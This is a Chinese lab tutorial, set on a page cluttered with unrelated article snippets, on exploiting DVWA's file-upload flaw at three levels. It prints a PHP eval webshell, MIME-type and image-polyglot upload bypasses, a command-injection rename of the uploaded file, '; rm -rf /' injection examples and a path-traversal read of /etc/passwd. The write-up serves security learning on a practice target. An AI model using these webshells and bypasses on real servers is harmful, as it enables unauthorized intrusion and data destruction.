网站建设大德通58同城有做网站

张小明 2026/3/2 23:06:56
网站建设大德通,58同城有做网站,网站关键词连接符,农产品网络营销策划书实验环境我们在上一篇文章已经搭建好了#xff0c;参考【全面实战】从搭建DVWA到全漏洞复现(1) 这里还需要用到一个集成bp和蚁剑或者中国菜刀 “中国菜刀/蚁剑”连接木马#xff0c;拿到webshell#xff08;管理服务器文件、执行命令#xff09;。 我之前发表过一篇文章参考【全面实战】从搭建DVWA到全漏洞复现(1)这里还需要用到一个集成bp和蚁剑或者中国菜刀“中国菜刀/蚁剑”连接木马拿到webshell管理服务器文件、执行命令。我之前发表过一篇文章是使用One-fox集成工具安装bp的文章one-fox集成工具Burpsuite配置这个工具中集成了我们需要使用的我也在那篇文章中说了bp的配置此处我们直接实战有问题可在评论区我《法律与责任声明》本内容仅用于网络安全中文件上传漏洞的技术研究、学习与交流。一、合法性要求严格遵守《中华人民共和国网络安全法》及相关法律法规严禁将所学技术用于非法活动如未经授权的攻击、窃取信息等。例如不得对未授权的真实生产环境网站做漏洞测试。漏洞测试须在合法授权环境进行可使用自己搭建的DVWA靶场或获书面授权的目标系统否则将担法律责任。二、风险与责任参考本内容进行DVWA搭建和漏洞复现可能有系统崩溃、数据丢失等风险本人不承担直接或间接责任请操作前备份数据、谨慎行事。若因参考本内容对第三方造成损失本人不承担法律责任使用者自行担责。三、传播限制禁止将本内容用于恶意传播如制作恶意教程、培训非法黑客组织应维护良好网络安全环境。发现有人利用本内容非法活动应及时举报。四、版权声明本文为本人独立创作有完整知识产权。未经书面许可任何单位或个人不得转载、复制或以其他方式使用违者依法追责。注阅读并使用本内容即表示同意声明条款不同意请停止使用。一.引入1.文件上传漏洞是什么文件上传漏洞指的是 Web 应用程序在处理用户上传文件的过程中由于程序对上传文件的类型、大小、内容等方面的验证存在缺陷使得攻击者能够上传恶意文件到服务器并可能导致服务器被攻击、数据泄露等严重后果。简单来说就是攻击者可以借助这个漏洞把有害文件放到目标服务器上。2.一句话木马一句话木马本质上是一段简短的代码通常以脚本语言编写像 PHP、ASP、JSP 等。它能够被上传至 Web 服务器一旦执行攻击者就能够远程操控服务器进而执行任意命令。3.DVWA的文件上传漏洞实战分为四个等级LowMediumHighimpossible二. 客户端验证绕过漏洞(low)1.原理服务器既不检查文件后缀也不验证文件类型只要文件大小≤100K就能直接上传。2.实例首先打开我们的网站我们登录进来网站后先把等级设为low等级然后点击submit我们需要创建一个php文件其中写入一句话木马创建简单PHP后门webshell的步骤。具体是新建一个名为webshell.php的PHP文件并在其中写入特定的PHP代码该代码是一种常见的一句话木马形式。一句话木马是用于获取对目标服务器控制权限的恶意代码通过将其上传到Web服务器中攻击者可以利用它来执行任意PHP代码进而可能进行诸如读取、修改、删除服务器文件执行系统命令等恶意操作。代码解释:?php eval($_POST[123456]);?这段PHP代码的含义如下?php和?这是PHP的开始和结束标记用于告诉服务器这段代码是PHP代码需要按照PHP的语法规则进行解析和执行。错误抑制操作符。它的作用是抑制紧跟其后的表达式在执行过程中可能产生的任何错误信息使其不会在页面上显示出来。这样做可以避免因代码执行出错而向外界暴露一些可能敏感的错误提示信息增加隐蔽性。eval()这是PHP的一个危险函数它可以将字符串形式的PHP代码作为PHP语句来执行。也就是说传递给eval()函数的参数如果是一段有效的PHP代码那么PHP解释器会把它当作正常的代码去运行。$_POST[123456]$_POST是PHP中的一个超全局变量用于获取通过HTTP POST方法提交的数据。这里[123456]表示从$_POST数组中获取键名为123456的值。也就是说当攻击者通过POST方式向该PHP文件提交数据并且数据中包含名为123456的键时其对应的值就会被eval()函数执行。此处我们直接上传创建的php文件上传成功后会返回其上传路径我们在服务器后台也可以看到上传成功然后在one-fox集成工具打开蚁剑或者是自己下载的蚁剑第一次使用蚁剑需要梯子下载所需资源我演示有疑问欢迎来问我此处可能会出现这种错误如果你安装的是one-fox那其目录下应该就包含了需要的文件了从新打开蚁剑选择到one-fox目录中的蚁剑目录即可不需要自己下载打开蚁剑后在左面空白处右键添加数据输入目标服务器的ip地址注意如果是某个端口上需要写那个端口然后再把刚刚上传后的返回的那个地址放上去密码输入自己刚刚设置的可以先测试连接性然后点击左上角添加右键可以对其进行虚拟终端文件管理等然后我们分析一下它的源码可以看到四个等级的php代码此处我们对这段php进行解析了解其原理并对代码逻辑或者代码使用进行认识源码分析单纯漏洞复现无需了解其源码者可跳过1. 检查表单提交if(isset($_POST[Upload])){这行代码使用isset()函数检查$_POST数组中是否存在名为Upload的键。$_POST是一个超全局变量用于接收通过 POST 方法提交的表单数据。如果存在Upload键说明用户点击了上传按钮代码将继续执行后续逻辑。2. 确定上传目标路径// Where are we going to be writing to?$target_pathDVWA_WEB_PAGE_TO_ROOT.hackable/uploads/;$target_path.basename($_FILES[uploaded][name]);DVWA_WEB_PAGE_TO_ROOT是一个预定义的常量代表 DVWA 网站根目录的路径。代码将其与hackable/uploads/拼接得到上传目录的基础路径。$_FILES是另一个超全局变量用于处理文件上传。$_FILES[uploaded][name]表示用户上传文件的原始文件名。basename()函数用于提取文件名的基本部分将其追加到$target_path后面最终得到文件要上传到的完整路径。3. 移动上传文件// Can we move the file to the upload folder?if(!move_uploaded_file($uploaded_tmp,$target_path)){// No$html.preYour image was not uploaded./pre;}else{// Yes!$html.pre{$target_path}succesfully uploaded!/pre;}move_uploaded_file()函数用于将上传到临时目录的文件移动到指定的目标路径。如果移动失败会向$html变量追加一条错误信息如果移动成功会追加一条成功信息。总之因为Low级别完全没做安全检查服务器把上传的PHP文件当成普通文件接收而PHP文件在服务器上能直接执行所以木马生效。目前我们只需要到这里后续我们可以通过这些知识对其进行一些其他的深入测试。三. 服务器端 MIME 类型验证绕过漏洞(Medium)服务器通过MIME类型判断文件是否为图片只允许image/jpeg、image/png文件大小≤100K。1.原理服务器端通过检查文件的 MIME 类型如 image/jpeg、text/plain 等来判断文件的类型。然而MIME 类型可以在 HTTP 请求头中被伪造攻击者可以将恶意文件的 MIME 类型伪装成服务器允许的类型从而绕过服务器的验证。2.实例将模式改为medium这个时候再直接上传一句话木马php文件会提示上传失败。然后我们还是选择上传那个php文件bp开启抓包拦截bp使用方法见[[one-fox集成工具Burpsuite配置]]抓到数据后我们修改content-type(内容类型)为image/jpg或image/png文件名改不改都无所谓文件名为webshell2.jpg或者是webshell2.png(2是因为方便与之前上传的区分)然后点击“Forward”放行请求这边显示上传成功然后再蚁剑连接服务器只看了这个MIME类型判断文件类型不检查文件内容。我们把PHP文件的MIME类型改成图片的服务器就误以为是图片允许上传而文件本质还是PHP脚本能正常执行。找其源码源码分析单纯漏洞复现无需了解其源码者可跳过基于上一个等级的条件下添加了一些判断1. 获取文件信息// File information$uploaded_name$_FILES[uploaded][name];$uploaded_type$_FILES[uploaded][type];$uploaded_size$_FILES[uploaded][size];$uploaded_name存储用户上传文件的原始文件名。$uploaded_type存储用户上传文件的文件类型。$uploaded_size存储用户上传文件的大小单位为字节。2. 检查文件类型、大小// Is it an image?if(($uploaded_typeimage/jpeg||$uploaded_typeimage/png)($uploaded_size100000))3. 处理无效文件else{// Invalid file$html.preYour image was not uploaded. We can only accept JPEG or PNG images./pre;}如果文件的类型、大小或合法性不符合要求会向$html变量追加一条提示信息告知用户文件未上传成功且只能接受 JPEG 或 PNG 格式的图像文件。四. 文件名解析漏洞(High)原理双重检查后缀检查只允许jpg、jpeg、png后缀截取文件名最后一个“.”后的字符判断文件头检查用getimagesize()函数读取文件头必须是合法图片否则拒绝上传。这就是我们所讲最好不要把一句话放到图片开头位置此处直接上传PHP或改MIME都会报错就算你把mime改了后又把文件名也改了但识别到文件头信息并不符合也无法上传实例我们真正上传一张图片而我们在这个图片中植入一句话我们可以直接在图片源码中编辑注意我们在编辑时不要把代码放在文件开头最好放到文件末尾成功或者可以使用进制编辑器工具或者说使用命令生成。但要注意顺序一定要先写图片后写txt不然系统就会把txt文件的内容放在开头copy 1.png/a2.txt/b 3.jpg这是一条copy命令用于将图片文件1.png的内容与文本文件2.txt进行合并生成新的图片文件3.jpg。其中2.txt是包含要植入信息的文本文件。/b参数表示以二进制模式处理2.txt文件。.png是作为载体的原始图片文件。/a参数表示以ASCII模式处理1.png文件在这种合并操作的特定情境下使用。3.jpg是最终生成的包含植入信息的图片文件。上传成功但文件后缀是jpg服务器不会执行PHP代码需要把它改成php后缀。我们这里为实现目的就需要利用命令注入/文件包含漏洞重命名文件帮助我们使其变成php文件或者让其执行文件中的php代码。命令注入漏洞和文件包含漏洞并不是同一种漏洞命令注入漏洞是指攻击者通过提交恶意构造的参数利用应用程序对用户输入过滤不严格的漏洞将恶意系统命令注入到应用程序中并执行。例如在一个基于Web的文件上传管理系统中有一个功能是允许用户输入文件名来查看文件的详细信息系统会执行类似ls -l [用户输入的文件名]的命令。如果攻击者输入; rm -rf /由于系统没有对输入进行严格过滤这个恶意命令就可能被执行。再比如在一个表单中有一个输入框用于输入用户名系统会执行grep [用户名] userlist.txt命令来查找用户信息。攻击者可以在输入框中输入; rm -rf /当系统执行该命令时就会先执行grep [用户名] userlist.txt然后执行rm -rf /导致系统文件被删除。文件包含漏洞是指当应用程序在处理包含文件时没有对用户输入的文件路径进行严格的验证和过滤导致攻击者可以通过构造特殊的文件路径包含恶意文件或敏感文件。比如一个网站的新闻页面通过include($_GET[file])来动态包含不同的新闻文件攻击者可以构造一个特殊的URL如http://example.com/news.php?file../../etc/passwd在Unix/Linux系统中/etc/passwd包含了系统用户的信息从而获取系统的敏感信息。再比如使用../来向上级目录跳转从而包含系统的敏感文件或恶意文件。在Windows系统中还可能会利用UNC路径如\\192.168.1.1\share\malicious.php来包含远程服务器上的恶意文件。此处我们先利用命令注入漏洞这里因为返回结果为乱码使用改了一下文件里的编码参数就不乱码了为实现目的此处我们先把等级改为low等级然后进行命令执行漏洞中执行127.0.0.1 |rename C:\2.3\DVWA-2.3\hackable\uploads\3.jpg 4.php这个命令执行漏洞后期会详细做连接成功或者还有一种方式是文件包含漏洞在high模式下打开文件包含漏洞处file inclusion)输入后下方有这些乱码的东西就是执行成功了然后连接此时我们再拿蚁剑连接蚁剑不行就菜刀反正就这两个来回使用哪个能成用哪个找其源码在这个目录下对其进行解析源码分析1. 获取文件信息// File information$uploaded_name$_FILES[uploaded][name];$uploaded_extsubstr($uploaded_name,strrpos($uploaded_name,.)1);$uploaded_size$_FILES[uploaded][size];$uploaded_tmp$_FILES[uploaded][tmp_name];$uploaded_name存储用户上传文件的原始文件名。$uploaded_ext使用strrpos()函数找到文件名中最后一个点号.的位置再使用substr()函数截取点号后面的部分得到文件的扩展名。$uploaded_size存储用户上传文件的大小单位为字节。$uploaded_tmp存储用户上传文件在服务器临时目录中的路径。2. 检查文件类型、大小和合法性// Is it an image?if((strtolower($uploaded_ext)jpg||strtolower($uploaded_ext)jpeg||strtolower($uploaded_ext)png)($uploaded_size100000)getimagesize($uploaded_tmp)){strtolower( $uploaded_ext )将文件扩展名转换为小写避免因大小写问题导致判断失误。代码会检查扩展名是否为jpg、jpeg或png。$uploaded_size 100000检查文件大小是否小于 100000 字节约 97.7KB。getimagesize( $uploaded_tmp )尝试获取图像的尺寸信息。如果文件是有效的图像文件该函数会返回一个包含图像尺寸等信息的数组如果不是有效的图像文件函数返回false。只有当这三个条件都满足时才会继续执行后续的文件移动操作。五. 竞争条件漏洞(impossible)对于impossible来说安全做的非常严格正在为impossible渗透学习中…如有需要可参考大佬文章DVWA靶场通关笔记-文件上传(Impossible级别)_dvwa文件上传impossible源代码分析-CSDN博客
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

浙江省院士专家工作站建设网站东莞建网站公司哪个好

大数据领域数据架构的自动化运维模式:从“救火队员”到“智能管家”的进化之旅关键词:大数据运维、自动化运维、数据架构、AIOps、运维工具链、异常检测、智能调度摘要:在大数据时代,企业每天产生的海量数据如同“数字石油”&…

张小明 2026/1/20 16:36:43 网站建设

辽宁建设工程信息网评标专家账号找回seo论坛站长交流

基于Linly-Talker搭建客服数字人,成本直降90% 在金融、电商、政务等行业的服务一线,一个老问题始终困扰着企业:如何用有限的人力资源应对全天候、高并发的客户咨询?人工客服虽然亲切可靠,但724小时在线意味着高昂的运…

张小明 2026/1/20 16:36:12 网站建设

网站开发制作费入会计科目中国风ppt模板免费下载

YOLOv7性能优化实战:从理论到部署的完整指南 【免费下载链接】yolov7 YOLOv7 - 实现了一种新的实时目标检测算法,用于图像识别和处理。 项目地址: https://gitcode.com/GitHub_Trending/yo/yolov7 在实际目标检测项目中,如何快速评估和…

张小明 2026/1/20 16:35:41 网站建设

中国安能建设集团有限公司网站网站内部优化

3大核心功能解析:Leantime如何让团队协作效率翻倍 【免费下载链接】leantime Leantime is a strategic project management system for non-project managers. 项目地址: https://gitcode.com/GitHub_Trending/le/leantime 你是否经历过团队会议效率低下、任…

张小明 2026/1/20 16:35:10 网站建设

建一个大网站需要的时间重庆建设工程信息网 官网

AI漫剧剧本写作工具2025推荐,解锁高效创作与灵感激发在内容创作领域,漫剧作为一种融合了漫画分镜与动态演绎的新兴形式,正吸引着越来越多的创作者投身其中。据《2025中国数字内容产业趋势报告》显示,2025年国内漫剧市场规模预计同…

张小明 2026/1/20 16:33:37 网站建设

个人备案网站会影响吗网站快速建设

随着科技的飞速发展,人工智能(AI)已经从一个未来的概念变成了现实的推动力,影响着各个行业和领域的转型与创新。到2026年,AI技术将会有更多的突破,呈现出更加成熟和复杂的应用形式,从而带来一系…

张小明 2026/1/20 16:33:07 网站建设